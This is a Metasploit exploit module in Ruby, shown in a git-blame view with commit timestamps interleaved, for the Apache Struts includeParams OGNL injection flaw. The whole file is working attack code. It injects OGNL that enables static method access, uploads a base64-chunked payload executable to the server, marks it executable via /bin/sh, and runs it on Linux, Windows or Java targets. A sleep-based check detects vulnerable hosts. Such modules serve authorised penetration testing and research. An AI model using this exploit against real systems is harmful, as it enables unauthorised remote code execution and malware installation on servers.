Files
metasploit-gs/modules/exploits/multi/http/struts_include_params.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

204 lines
8.2 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-05-31 01:01:15 -05:00
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
2025-06-20 13:20:44 +01:00
super(
update_info(
info,
'Name' => 'Apache Struts includeParams Remote Code Execution',
'Description' => %q{
2013-05-31 01:01:15 -05:00
This module exploits a remote command execution vulnerability in Apache Struts
2025-06-20 13:20:44 +01:00
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
When targeting an action which requires interaction through GET, the payload should
be split, taking into account the URI limits. In this case, if the rendered JSP has
more than one point of injection, it could result in payload corruption. This should
happen only when the payload is larger than the URI length.
},
'Author' => [
2013-05-31 01:01:15 -05:00
# This vulnerability was also discovered by unknown members of:
# 'Coverity security Research Laboratory'
# 'NSFOCUS Security Team'
'Eric Kobrin', # Vulnerability Discovery
'Douglas Rodrigues', # Vulnerability Discovery
2013-05-31 01:01:15 -05:00
'Richard Hicks <scriptmonkey.blog[at]gmail.com>' # Metasploit Module
],
2025-06-20 13:20:44 +01:00
'License' => MSF_LICENSE,
'References' => [
2013-05-28 23:15:10 +01:00
[ 'CVE', '2013-2115'],
[ 'CVE', '2013-1966'],
[ 'OSVDB', '93645'],
2013-05-28 23:15:10 +01:00
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
],
2025-06-20 13:20:44 +01:00
'Privileged' => true,
'Targets' => [
[
'Windows Universal',
{
'Arch' => ARCH_X86,
2013-05-31 01:01:15 -05:00
'Platform' => 'win'
}
],
2025-06-20 13:20:44 +01:00
[
'Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
2025-06-20 13:20:44 +01:00
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
},
]
],
2025-06-20 13:20:44 +01:00
'DisclosureDate' => '2013-05-24',
'DefaultTarget' => 2,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
2013-05-31 01:01:15 -05:00
register_options(
[
Opt::RPORT(8080),
2025-06-20 13:20:44 +01:00
OptString.new('PARAMETER', [ true, 'The parameter to use for the exploit (does not have to be an expected one).', rand_text_alpha_lower(4)]),
2025-12-17 17:11:13 -05:00
OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', '/struts2-blank/example/HelloWorld.action']),
2025-06-20 13:20:44 +01:00
OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST', 'POST', ['GET', 'POST']]),
2013-05-31 01:01:15 -05:00
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
2025-06-20 13:20:44 +01:00
]
)
end
2025-12-17 17:11:13 -05:00
def execute_command(cmd, _opts = {})
2025-06-20 13:20:44 +01:00
inject_string = @inject.gsub(/CMD/, cmd)
uri = normalize_uri(target_uri.path)
2025-06-20 13:20:44 +01:00
req_hash = { 'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
2013-05-30 13:08:43 +01:00
case datastore['HTTPMETHOD']
2025-06-20 13:20:44 +01:00
when 'POST'
req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string } })
when 'GET'
req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string } })
2013-05-30 13:08:43 +01:00
end
2013-05-31 01:01:15 -05:00
# Display a nice "progress bar" instead of message spam
2013-05-30 13:08:43 +01:00
case @notify_flag
when 0
2013-05-30 15:15:10 +01:00
print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
2013-05-30 13:08:43 +01:00
@notify_flag = 1
when 1
2025-12-17 17:11:13 -05:00
print('.') # Progress dots
2013-05-30 13:08:43 +01:00
when 2
2025-12-17 17:11:13 -05:00
print_status('Payload upload complete')
2013-05-30 13:08:43 +01:00
end
2025-06-20 13:20:44 +01:00
return send_request_cgi(req_hash) # Used for check function.
end
def exploit
2025-06-20 13:20:44 +01:00
# initialise some base vars
2025-12-17 17:11:13 -05:00
@inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}'
2013-05-31 01:01:15 -05:00
@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
2025-06-20 13:20:44 +01:00
# Set up generic values.
2025-12-17 17:11:13 -05:00
@payload_exe = rand_text_alphanumeric(rand(4..7))
pl_exe = generate_payload_exe
2013-05-30 18:15:33 +01:00
append = false
2025-06-20 13:20:44 +01:00
# Now arch specific...
case target['Platform']
when 'linux'
@payload_exe = "/tmp/#{@payload_exe}"
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
when 'java'
2025-12-17 17:11:13 -05:00
@payload_exe << '.jar'
pl_exe = payload.encoded_jar.pack
2025-12-17 17:11:13 -05:00
exec_cmd = ''
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
2025-12-17 17:11:13 -05:00
exec_cmd << '#q.setAccessible(true),#q.set(null,true),'
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
2025-12-17 17:11:13 -05:00
exec_cmd << '#q.setAccessible(true),#q.set(null,false),'
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
2025-12-17 17:11:13 -05:00
exec_cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})'
2014-06-11 15:22:55 -05:00
when 'win'
@payload_exe = "./#{@payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, 'Unsupported target platform!')
end
2025-12-17 17:11:13 -05:00
print_status('Preparing payload...')
2013-05-30 17:40:43 +01:00
# Now with all the arch specific stuff set, perform the upload.
# Need to calculate amount to allocate for non-dynamic parts of the URL.
# Fixed strings are tokens used for substitutions.
2025-12-17 17:11:13 -05:00
append_length = append ? 'true'.length : 'false'.length # Gets around the boolean/string issue
sub_from_chunk = append_length + (@java_upload_part_cmd.length - 'FILENAME'.length - 'APPEND'.length - 'BUFFER'.length)
sub_from_chunk += (@inject.length - 'CMD'.length) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
2013-05-30 11:30:24 +01:00
case datastore['HTTPMETHOD']
2025-06-20 13:20:44 +01:00
when 'GET'
chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
# This lets us know the length remaining for our base64'd payloads
chunk_length = ((chunk_length / 4).floor) * 3
when 'POST'
chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
2013-05-30 11:30:24 +01:00
end
2013-05-30 13:08:43 +01:00
@notify_flag = 0
while pl_exe.length > chunk_length
2025-06-20 13:20:44 +01:00
java_upload_part(pl_exe[0, chunk_length], @payload_exe, append)
pl_exe = pl_exe[chunk_length, pl_exe.length - chunk_length]
append = true
end
2025-06-20 13:20:44 +01:00
java_upload_part(pl_exe, @payload_exe, append)
execute_command(chmod_cmd) if target['Platform'] == 'linux'
2025-12-17 17:11:13 -05:00
print_line # new line character, after progress bar.
2013-05-30 13:08:43 +01:00
@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
execute_command(exec_cmd)
register_files_for_cleanup(@payload_exe)
end
2013-05-30 18:15:33 +01:00
def java_upload_part(part, filename, append = false)
2025-06-20 13:20:44 +01:00
cmd = @java_upload_part_cmd.gsub(/FILENAME/, filename)
2025-12-17 17:11:13 -05:00
append = append ? 'true' : 'false' # converted for the string replacement.
2025-06-20 13:20:44 +01:00
cmd = cmd.gsub!(/APPEND/, append)
cmd = cmd.gsub!(/BUFFER/, Rex::Text.encode_base64(part))
execute_command(cmd)
end
def check
2025-06-20 13:20:44 +01:00
# initialise some base vars
2025-12-17 17:11:13 -05:00
@inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}'
vprint_status('Performing Check...')
sleep_time = datastore['CHECK_SLEEPTIME']
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
t1 = Time.now
2014-01-21 13:03:36 -06:00
vprint_status("Asking remote server to sleep for #{sleep_time} seconds")
response = execute_command(check_cmd)
t2 = Time.now
delta = t2 - t1
if response.nil?
return Exploit::CheckCode::Safe
elsif delta < sleep_time
return Exploit::CheckCode::Safe
else
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Vulnerable
end
end
end